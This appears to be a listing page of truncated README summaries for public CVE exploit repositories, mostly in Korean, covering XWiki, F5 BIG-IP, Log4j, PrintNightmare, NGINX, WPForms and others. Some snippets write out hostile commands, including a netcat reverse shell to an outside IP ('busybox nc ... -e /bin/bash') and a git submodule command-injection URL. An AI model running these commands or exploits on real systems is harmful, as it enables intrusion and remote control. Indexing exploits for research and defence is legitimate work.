CVE-2025-24893

CVE-2025-24893 XWiki의 15.10.11, 16.4.1 및 16.5.0RC1 이전 버전을 대상으로 하는 원격 코드 실행RCE 익스플로잇입니다. 사용법 $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 윤리적인 목적으로만 사용하세요 :...

CVE-2022-1388

CVE-2022-1388 BIG IP REST 원격 코드 실행 F5 BIG-IP 16.1.x 버전 중 16.1.2.2 이전, 15.1.x 버전 중 15.1.5.1 이전, 14.1.x 버전 중 14.1.4.6 이전, 13.1.x 버전 중 13.1.5 이전, 그리고 모든 12.1.x 및 11.6.x 버전에서, 공개되지 않은 요청이 iControl REST 인증을 우회할 수 있습니다. 이 취약점을 테스트하기 위해 다음 cURL 원-라이너를 사용하세요. curl -k --header "Host: 127.0.0.1" --header...

CVE-2017-0108

Microsoft Office 2007 SP3, 2010 SP2, Word Viewer, Skype for Business 2016, Lync 2013 SP1, Lync 2010, Live Meeting 2007, Silverlight 5, Windows Vista SP2, Windows Server 2008 SP2 및 R2 SP1, Windows 7 SP1의 Windows 그래픽 구성 요소에서 원격 공격자가 조작된 웹 사이트를 통해 임의 코드를 실행할 수 있는 취약점입니다. "Graphics Component Remote...

CVE-2024-4040

CVE-2024-4040용 익스플로잇 코드 개요 이 익스플로잇 코드는 CVE-2024-4040 취약점을 대상으로 하며, "sessions.obj" 파일에 저장된 토큰을 읽고 검증하여 사용자 계정에 무단 액세스할 수 있게 합니다. 토큰이 유효하면 공격자는 대상 계정에 침입할 수 있습니다. CVE-2023-43177과 같은 유사한 취약점을 악용하는 다른 방법과 달리, 이 스크립트에는 백도어 JAR 생성 및 업로드 기능이 포함되어 있지 않습니다이 부분은 직접 개발할 수 있습니다. 예시 python3 exploit.py -u...

spring-cloud-gateway-rce

Spring Cloud Gateway Actuator API SpEL 표현식 삽입 명령 실행 CVE-2022-22947 1.설치 pip3 install -r requirements.txt 2.사용법 $ python3 spring-cloud-gateway-rce.py -h / \ /\ /\ /\ | \ / \ | \ | \ | \ | \ / \ | || | | | / / \ \ / / /\ || | | | | | | || || || | / / / / \ V / // || / / | || | / / / / || / / / / ,...

CVE-2025-20029-simulation

🔐 재현 가능한 공격 시뮬레이션 – CVE-2025-20029 ⚠️ 이 저장소는 안전하고 통제된 환경 에서 CVE-2025-20029를 시뮬레이션합니다. 실제 F5 BIG-IP 시스템과 상호작용하거나 프로덕션 서비스를 악용하지 않습니다. 목적은 교육적입니다: 취약점 패턴을 연구하고 페이로드를 안전하게 테스트하는 것입니다. 🛠 CVE-2025-20029 정보 CVE-2025-20029는 F5 BIG-IP 시스템에 영향을 미치는 높은 심각도의 명령 주입 취약점입니다. 이 문제는 iControl REST API 에 있으며, 특정...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat - CGIServlet enableCmdLineArguments 원격 코드 실행RCE 취약점 분석 및 PoC 동영상 PoC는 https://www.youtube.com/watch?v=RA7kzuHOWqA 에서 확인 가능합니다. 세부 사항 Apache Tomcat의 CGI Servlet에서 취약점이 발견되어 원격 코드 실행RCE이 가능합니다. 이 취약점은 Windows에서 비기본 설정과 배치 파일을 함께 사용하는 경우에만 악용될 수 있습니다. Common Gateway...

CVE-2023-37756-CWE-521-lead-to-malicious-plugin-upload-in-the-i-doit-Pro-25-and-below

CVE-2023-37756 – i-doit Pro 25 이하에서 admin-center의 취약한 비밀번호 요구 사항으로 인한 악성 플러그인 업로드 i-doit Pro 25 이하 버전은 admin-center의 취약한 비밀번호 요구 사항과 악성 플러그인 업로드로 인해 RCE원격 코드 실행 취약점에 노출됩니다. 이러한 취약점으로 인해 공격자는 쉽게 무차별 대입 공격이나 비밀번호 추측을 통해 admin-center에 접근하고 악성 플러그인을 업로드하여 원격 코드 실행을 달성할 수 있습니다. 제품 설명: i-doit은 synetics...

CVE-2022-47986

CVE-2022-47986 왜 이 취약점은 실제 환경에서 악용되고 있습니다. IceFire는 이 취약점을 사용하여 대상 시스템에 랜섬웨어를 배포합니다. 저는 SOC/블루 팀이 영향을 받는 시스템을 식별하고, 펜테스터/레드 팀이 이를 악용하고 보고할 수 있도록 돕고자 합니다. 설명 IBM Aspera Faspex에서 YAML 역직렬화로 인해 발생하는 RCE원격 코드 실행 취약점을 악용하기 위해 순수 Python 및 Ruby 스크립트, Metasploit 및 Nmap 모듈을 제안합니다. 익스플로잇: RCE원격 코드 실행 Pytho...

opendcim-exploit

openDCIM - 구성 오염을 통한 SQLi에서 RCE까지 openDCIM의 install.php LDAP 구성 폼을 대상으로 한 원격 코드 실행 체인입니다. VulnCheck go-exploit 프레임워크를 기반으로 구축되었습니다. 취약점 체인 | CVE| CWE| 설명 ---|---|---|--- 1| CVE-2026-28515| CWE-862| install.php는 LDAP 구성 폼 앞에서 역할 검사를 수행하지 않습니다. 모든 사용자가 접근할 수 있습니다. 2| CVE-2026-28516| CWE-89|...

Nostromo_Python3

Nostrom RCE Python3 익스플로잇 코드: 사용법: $ python3 ./exp.py vulnerable.host 8080 id uid=65534 gid=65534...

cve-2023-51385

CVE-2023-51385 검증 먼저 /.ssh/config에 다음 내용을 추가해야 합니다 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules 파일 구문에 명령 주입이 존재합니다 url = ssh://echo helloworld cve.txtfoo.example.com/bar 구성이 완료되면 아래 명령을 실행하여 트리거합니다 git clone...

Log4j-Vulnerability

Log4j 취약점 튜토리얼: https://youtu.be/PNDBjoT83zA 튜토리얼: https://cryptodeeptech.ru/log4j-vulnerability Log4j 배경 알리바바 클라우드 보안 팀은 여러 버전의 Apache Log4j2Log4Shell에 대해 인증되지 않은 원격 코드 실행을 가능하게 하는 치명적인 취약점 CVE-2021-44228을 공개적으로 공개했습니다. 공격자는 HTTPS와 같은 모든 프로토콜을 통해 연결하고 특수하게 조작된 문자열을 전송하여 취약한 서버를 악용할 수 있습니다. Log4j...

nodejshell

NODEJSHELL - NodeJs 역직렬화deserialization를 위한 리버스 셸 익스플로잇 CVE-2017-5941 이 익스플로잇은 십진수decimal로 인코딩된 후 base64로 인코딩되는 리버스 셸 페이로드를 자동으로 생성합니다. 그 후 이 페이로드는 사용자 입력을 직렬화serialize하고 쿠키에 저장하는 http POST 요청을 통해 전송됩니다. 그런 다음 GET 요청을 통해 접근하여 RCE를 획득합니다. 사용 방법: python3 nodejshell.py lhost : 로컬 IP 주소 lport : 리버스 셸...

CVE-2026-42945

NGINX Rift CVE-2026-42945 에 대한 RCE 개념 증명입니다. 2008년에 도입된 NGINX의 ngxhttprewritemodule의 치명적인 힙 버퍼 오버플로우입니다. 이 버그는 rewrite 및 set 지시어를 사용하는 서버에 대해 인증되지 않은 원격 코드 실행을 가능하게 합니다. 이 취약점은 세 가지 다른 메모리 손상 문제CVE-2026-42946, CVE-2026-40701, CVE-2026-42934와 함께 depthfirst의 보안 분석 시스템이 NGINX 소스를 한 번 클릭으로 온보딩한 후 자율적...

SGLang-0.5.9-RCE

SGLang SSTI to RCE PoC — 샌드박스가 적용되지 않은 Jinja2 채팅 템플릿 렌더링 CVE-2026-5760 SGLang의 reranking 엔드포인트에서 서버 측 템플릿 주입SSTI을 통한 원격 코드 실행. 악성 GGUF 모델 파일에 조작된 tokenizer.chattemplate이 포함되어 있으며, 해당 모델이 SGLang에 로드되고 /v1/rerank 엔드포인트가 호출되면 임의 코드 실행이 이루어집니다. 기능 SGLang의 샌드박스가 적용되지 않은 Jinja2 템플릿 렌더링을 악용하는 Critical 심...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - 청크 업로드 초기화/마무리 순서를 통한 인증 없는 임의 파일 쓰기 CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — 청크 업로드를 통한 인증 없는 임의 파일 쓰기 개념 증명 익스플로잇 청크 업로드 초기화/마무리 순서 → 예측 가능한 경로 노출 → 원격 코드 실행 취약점 개요 필드| 세부 정보 ---|--- CVE ID| CVE-2026-10818 영향을 받는 플러그인| WPForms Pro WordPress 영향을 받는 버전|...

CVE-2024-4577-RCE

PHP CGI 인수 주입 CVE-2024-4577 RCE 📜 설명 PHP 8.1. 8.1.29 미만, 8.2. 8.2.20 미만, 8.3. 8.3.8 미만 버전에서 Windows에서 Apache와 PHP-CGI를 사용하는 경우, 시스템이 특정 코드 페이지를 사용하도록 설정되어 있으면 Windows가 Win32 API 함수에 전달된 명령줄에서 문자를 대체하기 위해 "Best-Fit" 동작을 사용할 수 있습니다. PHP CGI 모듈이 이러한 문자를 PHP 옵션으로 잘못 해석하여, 악의적인 사용자가 실행 중인 PHP 바이너리에 옵션...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Реализация Impacket PoC PrintNightmare, изначально созданной Zhiniang Peng @edwardzpeng и Xuefeng Li @lxf02942370 Протестировано на полностью пропатченном контроллере домена 2019 Удалённое или локальное выполнение вредоносных DLL Обновление патча Microsoft выпустила...

React2Shell-Library

React2Shell 라이브러리 React Server Components에서 발견된 치명적인 원격 코드 실행RCE 취약점인 "React2Shell"CVE-2025-55182에 관한 리소스를 선별한 목록입니다. 목적: 연구자와 보안 엔지니어를 위해 React2Shell 취약점의 역사, 작동 원리 및 완화 방법을 문서화합니다. 📚 라이브러리 구성 핵심 정보 연구 및 분석 탐지 및 방어 커뮤니티 및 토론 익스플로잇 미디어 및 위협 인텔리전스 핵심 정보 공식 문서 및 심각도 점수. NVD - CVE-2025-55182 상세 정보 -...